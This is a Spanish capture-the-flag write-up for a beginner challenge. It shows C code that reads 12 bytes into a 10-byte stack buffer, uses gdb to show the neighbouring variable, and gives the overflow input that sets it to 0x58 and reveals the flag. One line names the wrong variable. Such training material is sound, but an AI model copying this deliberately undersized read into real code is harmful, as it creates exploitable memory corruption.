Buffer Overflow 1 Writeup

Código

En este reto se nos proporciona un binario `buffer_overflow1` y su código fuente en C:

```c
#include <stdio.h>
#include <stdlib.h>

void win() {
        system("cat flag.txt");
}

int main() {
        setbuf(stdout, NULL);

        unsigned int value = 0;
        char answer[10];

        printf("Sabes cómo funciona la stack?\n");
        fgets(answer, 12, stdin);

        if (value == 0) {
                printf("Ya veo que no mucho..\n");
        } else if (value != 0x58) {
                printf("Va mejorando la cosa: %08x\n", value);
        } else {
                printf("Yayyy!\n");
                win();
        }
}
```

Mirando el código, podemos ver que simplemente imprime un mensaje, lee de stdin, y dependiendo del valor de la variable `value` nos imprime la flag o no. Sin embargo, dicha variable se inicializa a 0 y no se modifica a lo largo del programa, por lo que en principio es una tarea imposible.

Explotación

Aquí es cuando nos tenemos que dar cuenta de la vulnerabilidad: a pesar de que `answer` es un buffer de 10 bytes, el programa está leyendo 12 bytes con `fgets`. Esta vulnerabilidad se conoce como buffer overflow. Como son variables locales, `answer` y `value` están en la stack, y además una detrás de otra. Podemos comprobar esto usando gdb:

```
david@salero2:~/Escritorio/retos-ctf-deiit-main/buffer_overflow1$ gdb -n ./buffer_overflow1
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./buffer_overflow1...
(gdb) start
Punto de interrupción temporal 1 at 0x401193: file buffer_overflow1.c, line 9.
Starting program: /home/david/Escritorio/retos-ctf-deiit-main/buffer_overflow1/buffer_overflow1

Temporary breakpoint 1, main () at buffer_overflow1.c:9
9               setbuf(stdout, NULL);
(gdb) p &answer
$1 = (char (*)[10]) 0x7fffffffdd4e
(gdb) p &value
$2 = (unsigned int *) 0x7fffffffdd58
(gdb)
```

Vemos que la dirección de `answer` es `0x7fffffffdd4e`, y la de `value` `0x7fffffffdd58`, y se verifica `0x7fffffffdd4e + 0xa = 0x7fffffffdd58` (recordemos que 10 en hexadecimal es 0xa). Por tanto, estos dos bytes extra que estamos introduciendo en el array `answer` están sobreescribiendo los dos primeros bytes de `value`. Como `fgets` debe introducir un byte nulo `\0` al final, en realidad sólo lee 11 caracteres de la entrada estandar, y por tanto sólo podemos sobreescribir el primer byte de `answer`, y el siguiente será sobrescrito con un 0. Ya que los números se representan en little endian, esos dos primeros bytes se corresponden con los dos bytes menos significativos.

Podemos comprobar esto introduciendo una cadena suficientemente larga, de al menos 11 caracteres:

```
$ ./buffer_overflow1
Sabes cómo funciona la stack?
AAAAAAAAAAA
Va mejorando la cosa: 00000041
```

Vemos que estamos sobreescribiendo el valor de la variable `value` con 0x41, que se corresponde con el valor ascii de 'A'. Como debemos escribir el valor 0x58, podemos buscar en google una tabla ascii o ejecutar `chr(0x58)` en el intérprete de python para ver que se corresponde con la letra 'X'.

Finalmente, introduciendo una cadena que tenga una X en la posición 11 obtenemos la flag:

```
$ ./buffer_overflow1
Sabes cómo funciona la stack?
1234567890X
Yayyy!
ETSIIT_CTF{th1s_is_just_th3_b3g1nn1ng}
```

Autor del reto

Nombre: David
Discord: Klecko#3813
Correo: davidmateos@correo.ugr.es